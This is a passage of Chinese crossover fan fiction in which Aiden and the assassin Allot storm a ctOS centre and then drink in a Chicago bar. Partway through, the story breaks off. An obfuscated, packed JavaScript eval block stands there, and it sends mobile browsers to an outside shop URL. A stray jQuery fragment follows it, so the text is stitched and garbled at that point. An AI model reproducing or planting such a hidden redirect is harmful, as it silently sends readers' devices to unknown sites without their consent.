阿洛特没怎么来过波尼。掉了墙皮的二层洋房从车窗一晃而过,稀疏寥落的人影三三两两地聚在一起,小酒馆亮着昏暗的灯光。
“这里是郊区?”他问。
“对,”艾登停下了车,“前面是柏奈岛。你可以开始了。”
阿洛特没有多问。他开启鹰眼,扫视了一圈岛上的情况。
“十一个守卫,全部持枪,我怀疑他们都在部队待过。”阿洛特皱着眉戴上兜帽,“为什么郊区会有这种武装?”
“他们在看守ctOS中心,”艾登拉上面罩,从怀里掏出M1911,“就在那里。”他回过头,正准备和阿洛特补充说明,却发现身后空无一人。但艾登一点也不意外,视线上移。
“ctOS中心?”果然阿洛特蹲在屋顶上,“为什么ctOS中心建在这种鬼地方?为了让人想不到?”
“你可能搞错了。每个地区都有ctOS中心,这里不是它的总部。”
艾登心不在焉地掏出手机。轻轻一按,他就打开了访问通道,这片区域的所有联网设备在他面前毫无保留地敞开:摄像头,笔记本电脑,手机,甚至通讯头盔和地下管道。角落的电子设备莫名其妙响起狗叫声,守卫被吸引过去查看,注视着这一切的艾登按下按键。
嘭。
黑夜中爆起一团火花。蹲在房顶上的刺客眨了眨眼,确认鹰眼视觉中消失了一名红色目标。
“我刚才看见…?”
“这就是ctOS能做到的事情,而且还远不止这个。而布鲁姆还在反复强调市民的隐私得到了有效的保障。事实上,他们才是隐私的偷盗者。”
“你提醒我了,我还想顺便查一下布鲁姆。”
“你会有机会的。”
在夜色的遮掩下,艾登悄无声息地溜进重重守卫的区域。被爆炸惊动的雇佣兵往那个方向聚了过去,阿洛特在屋顶辗转,收割落在最后的守卫。袖剑和M1911合作顺利,全程没有任何人以清醒的状态直面刺客和狡狐,后者认路般径直走向ctOS中心,阿洛特在确认所有人都变成灰色之后跟上。
“这让我想起了以前的日子,”阿洛特舒展了一下身体,“我已经很久没干活了,幸好没有太生疏。”
“生疏?地上躺着的那些人有话要说。”艾登在手机上点了点,挡住他们的门迅速敞开,“不过你确实销声匿迹了很久。我还以为你停手了。”
“对,但不完全是那么回事。”阿洛特跟着他走进去,看着艾登把手机横过来,对着ctOS操作,“我从来没有停过手,以后大概也不会。”
阿洛特不会知道正在和他说话的艾登正在做什么。压着帽檐的黑客在手机上快速点了几下,获得了波尼地区的所有访问与操作权限;最后一片拼图被他集齐,整座城市汇聚在他手中这一部小小的机器里。车流,人声,灯光…现代数据连成银白的线条,在黑客眼中流淌。
但很快,艾登收起了手机。
“商业间谍那回事?”他转过身,“阿布斯泰戈看起来对你很恼火。你为什么非得和他们过不去?”
“你又是为什么要和布鲁姆过不去?”
“我没和布鲁姆过不去。正相反,我还会感谢他们发明出ctOS。”
“既然你提到了,”阿洛特抱起手臂,“我还想问你是什么时候学会黑入的。”
“这重要吗?我们毕竟十年没联系了。”艾登说,“这期间什么都有可能发生,人类就是这样的动物。我相信你也觉得我们是时候叙个旧了,找个地方聊聊吧,只有你和我。”
“你对这里更熟悉,请。”
绘有酒杯的灯牌在屋顶上闪烁,几个时亮时不亮的字母拼出店名杰迪带亚。阿洛特跟着艾登走进这家小酒馆,里面没什么人,头发稀疏的酒保似乎在和角落里的工装青年掰扯着什么。他们随便坐下,叫了瓶酒,阿洛特开鹰眼谨慎地扫了一圈周围的人影,只有扎着辫子的工装青年多看了他两眼。
“据我所知,加拉哈德没有因为前任CEO的陡然离世受到任何影响,”艾登给他俩各倒了一杯,“他们的长子阿列克谢很快接手了公司。事实证明他的能耐比他父母强多了。”
“西尔维奥呢?”阿洛特心不在焉地喝了口酒。
“谁?”
“西尔维奥·加拉哈德,”阿洛特重复,“阿列克谢的弟弟。看来他不怎么活跃?”
艾登在手机上查了一下,“他确实不怎么管生意上的事情。我对加拉哈德这个公司没什么了解,他们很少雇佣收尾人。等等…西尔维奥。我见过这张脸。”
“他被悬赏了?”
“不。”艾登回忆,“是在幸运奎恩的拍卖会上。现在我理解你为什么要搞他们了。”
“等等,”阿洛特比了个暂停的手势,“幸运奎恩是谁?拍卖会又是怎么一回事?”
“你确实需要补补课了,阿洛特。”艾登把手机推过去,“看吧。幸运奎恩是南方社团的老大,他每年会召开拍卖会,搞些见不得人的生意。我一点也不意外那些财产远远多于良心的人会出现在那里。”
“他在拍卖会上做了什么?”阿洛特确认。
“什么也没有。我搞砸了那场拍卖会,就算他想买谁也买不了。”
阿洛特把手机推回给艾登。艾登把它放到一边,又喝了口酒。
“如果你想追寻的是他的线索,我可以想办法帮你。但不是现在,我最近有点忙。”
“我理解。你接下来准备做什么?”阿洛特说,“我还以为你会抓紧时间离开芝加哥,但你看起来一点也不着急。”
“我现在还不能离开芝加哥,”艾登说,“有人伤害了我的家人,我要确保他们付出代价。你明白的。”
阿洛特短暂地陷入沉默。
“我明白。”他最后说。
阿洛特明白这种感觉。事实上,当年在为家人复仇的那个角色是他自己,而从旁协助的是艾登。在那之后,阿洛特抓着线索飞往世界各地,去追杀所有与此相关的沾手方。没有人能逃过刺客的复仇。没想到一晃十年过去,角色颠倒,如今奔波在血雨腥风第一线是坐在他对面的芝加哥狡狐,绿色的眼睛磷火般燃烧。
复仇的火焰只能用敌人的鲜血浇灭。他们在彼此的眼睛里都读到了这一点。
“如果你需要任何帮助,”阿洛特重复了一遍,“只要是我的能力范围内,就告诉我吧。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984129|145032||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“我想那不会太远,”艾登说,“我之后多半会再进一次罗西·佛利蒙,到时候我会联系你。”
“没问题,”阿洛特顿了顿,“不过那是个什么地方?”
寂静。艾登拿起酒杯的动作顿住了。
“我真的建议你下次在应承之前搞明白你在答应什么,”他这么说,但声音里没有不悦,“那是凡斯罗伊帮的据点。三个狙击手,一个重甲兵,以及一堆退伍士兵、被惊动后会赶来的好几车收尾人。而这仅仅是地面上的武装,楼层里还有起码几十个社团成员。”
“芝加哥到底是什么回事?”阿洛特震撼,“区区一个街头帮派需要这样的武力?这比哥谭还要夸张!年度犯罪率排行榜究竟是谁排的?”
“我已经告诉你情况了,你可以选择拒绝。”
“我才没有那个意思,”阿洛特澄清,“这对我来说完全是小菜一碟。”
不远处的工装男忽然爆发出一阵被呛到的大笑。阿洛特和艾登几乎是同时看了过去。
“别惹事,T骨,”酒保头也没抬,“你还欠我一面玻璃。”
“我可没惹事,”被叫做T骨的工装青年擦了擦嘴,“我只是想起了好笑的事情。”
“什么好笑的事情?”阿洛特没站起来,也没走过去。但他把手伸进了衣服里。
“嘿,兄弟,你没必要这么紧张,”T骨遥遥敬了他一杯,“你想听我讲个笑话吗?”
“阿洛特。”艾登低声劝阻。被他叫住的前收尾人给了他一个眼神,又转过脸去,对T骨说话。
“你会讲什么笑话?如果你缺人一起喝酒,你可以直接拿着你的酒杯坐过来。”
“哦,真的吗?”
T骨拿着酒杯走了过来,站到他们桌前。戴着护目镜的黑白棒球帽紧紧束住他和胡须同色的灰白脏辫,灰色纽扣短袖衬衫的胸袋上方绣着表示不满的网络颜表情。他拿着酒杯的手腕绑着一个眼熟的皮革臂甲,艾登瞥了阿洛特一眼,他知道阿洛特袖子里也藏着两个相似的东西。阿洛特也确实在打量T骨的手腕,但他没露出什么特别的表情。
“你们有谁愿意和我玩拼酒小游戏?” 只有T骨没在意他俩之间的视线交流,“规则很简单,一整杯一整杯地喝,谁先倒下谁输。”
“赌钱?”艾登说,“我不是习惯带现金的类型。你呢,阿洛特?”
“我是,”阿洛特耸了耸肩,“但我不擅长拼酒。”
“这很好解决,”T骨用酒杯分别指了指他俩,“你有钱,而你能喝。来吧,别让我一个人晚上喝闷酒。”
阿洛特看了眼艾登,“我可以给你们当裁判。”
“你最好顺便看着他们别打起来。”酒保把酒搁上桌面。
艾登没有拒绝。T骨大马金刀地坐了下来,很快给自己满上。很显然前几杯对他俩都没什么难度,但几瓶酒下肚后,艾登的眼神开始飘忽。他抓着空酒杯在空中费劲地晃了一圈,重重把它掼到桌面上。阿洛特换了个坐姿,他怀疑艾登已经看不清对面的人脸了。
“你朋友已经醉了,”T骨,神奇地在这牛饮中保持了神志清明,仰头又喝下一杯,“你想替他吗?规则不变。”